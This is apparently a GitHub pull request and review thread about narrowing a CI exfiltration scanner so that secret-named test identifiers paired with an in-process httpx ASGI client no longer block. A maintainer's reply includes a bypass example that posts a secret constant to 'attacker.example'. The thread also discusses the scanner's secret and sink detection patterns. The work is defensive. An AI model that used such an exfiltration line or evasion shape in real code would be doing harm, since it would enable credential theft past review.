fix(security-scan): do not block a secret-named source paired only with an in-process ASGI client - #3979
Conversation
…th an in-process ASGI client The exfil scan blocks when a file's added lines contain both a secret-named credential source and a network sink. An integration test that exercises an OAuth grant trips both halves without adding any egress path. The secret half matches `[A-Z0-9]+_SECRET` case-insensitively, so it fires on `client_secret`, which RFC 6749 section 2.3.1 defines as the wire field name. A test for a grant that consumes that field cannot avoid the identifier. The sink half matches `httpx.`, which fires on `httpx.ASGITransport`. That transport dispatches a request into the in-process ASGI app object and opens no socket, so there is nothing for the secret to leave through. This is the same class the bare-ACCESS_TOKEN carve-out already addresses, one field over: a case-insensitive secret term colliding with an ordinary OAuth identifier. Narrowing the secret term further is not the fix here, because the matches in a realistic case include genuinely uppercase Python constants and real environment names like DATABRICKS_CLIENT_SECRET must keep matching. So the sink side is narrowed instead: the httpx arm is split out, and when `ASGITransport` is present and no other sink is, the pair is reported as INFO rather than BLOCKING. Downgraded rather than suppressed, so the reviewer still receives the annotation and the shape stays visible. The exemption cannot be used as cover. It applies only when the in-process client is the file's only sink, so adding a real outbound call alongside `ASGITransport` still blocks. A test asserts that, and it fails if the no-other-sink condition is removed. Motivated by an auth test in a PR of my own that this shape blocked. Raising it as a scan change rather than asking for a per-PR waiver, because the collision recurs for any test of a credential-bearing endpoint and a waiver leaves the next one to rediscover it. Happy to drop this if you would rather keep the scan maximally blunt and handle the cases by label. Signed-off-by: bdchatham <bdchatham@gmail.com>
|
@bdchatham This PR is a Bug fix, Feature, or UI / frontend change but the Demo section is missing or only contains a placeholder. These change types require a screenshot or screen recording so reviewers can see the new behaviour without checking out the branch. Please update the Demo section with:
Use |
|
/review |
|
|
Hi @bdchatham, thanks for the PR. For this Github action, we would okay with false positives as long as it covers real cases. Reducing false positives is good, but we wouldn't want to expose more holes. In case you are blocked, feel free to ping maintainers to apply a label for you. I found one case where the carve-out can hide a real outbound sink from the same library: _CLIENT_SECRET = "top-secret-machine-key"
transport = httpx.ASGITransport(app=app)
httpx.post(
"https://attacker.example/collect",
json={"s": _CLIENT_SECRET},
)With these as added lines, ([], [("tests/test_bypass.py", "secret-named source + in-process ASGI client ...")])The issue is that |
Related issue
None. Raising it directly because the trigger is a concrete false positive rather than a reported gap. See the motivation section below, which names my own PR as the reason.
Summary
exfil-scan.pyblocks when a file's added lines contain both a secret-named credential source and a network sink. An integration test that exercises an OAuth grant satisfies both halves without adding any egress path, so it is blocked on shape alone.Both halves, concretely:
[A-Z0-9]+_SECRETcase-insensitively, so it fires onclient_secret. RFC 6749 §2.3.1 defines that as the wire field name, so a test for a grant that consumes the field cannot avoid the identifier.httpx., so it fires onhttpx.ASGITransport. That transport dispatches a request into the in-process ASGI app object and opens no socket.A secret-shaped constant and a client that cannot reach the network is not an exfiltration shape.
This is the same class the existing bare-
ACCESS_TOKENcarve-out already handles, one field over. That comment reads:client_secretis the same collision with the same cause.Why the sink side rather than the secret side
Narrowing the secret term looked like the natural fix and is the wrong one. In a realistic case the matches include genuinely uppercase Python constants such as
_CLIENT_SECRETand_COOKIE_SECRET, so a case-sensitivity change does not help, and real environment names likeDATABRICKS_CLIENT_SECRETmust keep matching. Weakening[A-Z0-9]+_SECRETwould cost real detection.So the httpx arm is split out, and when
ASGITransportis present and no other sink is, the pair is reported as INFO instead of BLOCKING.Downgraded, not suppressed
The finding still prints, as a
::warning, with a message naming what was inferred and asking the reviewer to confirm no real egress was added. Nothing becomes invisible; it stops gating CI.The exemption cannot be used as cover
It applies only when the in-process client is the file's only sink. A real outbound call alongside
ASGITransportstill blocks:test_secret_plus_asgi_and_a_real_sink_still_blocksasserts that, and I verified it is load-bearing by deleting the no-other-sink condition and watching only that test fail.Motivation, stated plainly
This was prompted by #3977, a PR of mine that this shape blocks. I am raising it as a scan change rather than asking for a
skip-security-scanlabel because the collision recurs for any test of a credential-bearing endpoint, and a waiver leaves the next contributor to rediscover it.I recognise that a contributor proposing a change to the control currently blocking them deserves scepticism, so: the change is the narrowest I could find, it downgrades rather than suppresses, it ships with a test proving the exemption cannot launder a real sink, and the label path remains untouched. If you would rather keep the scan maximally blunt and handle these by label, I am happy for this to be closed. #3977 does not depend on it.
Test Plan
Also run against the real diff that prompted this. Before: blocking, exit 1. After:
::warning, exit 0.The two added tests are the INFO case and the anti-laundering case. No pre-existing test was modified;
git diff main..HEAD -- tests/contains zero removed lines.Demo
N/A, a CI script with no UI.
Type of change
Test coverage
Coverage notes
Manual verification was running the scanner against the diff that prompted this, before and after, plus the mutation check on the anti-laundering condition described above. The module docstring's BLOCKING/INFO description is updated too, since it enumerates the tiers and would otherwise describe behaviour the code no longer has.
Changelog
The exfil scan no longer blocks a secret-named source paired only with an in-process ASGI client, where
ASGITransportopens no socket. Reported as an informational warning instead. A real network sink in the same file still blocks.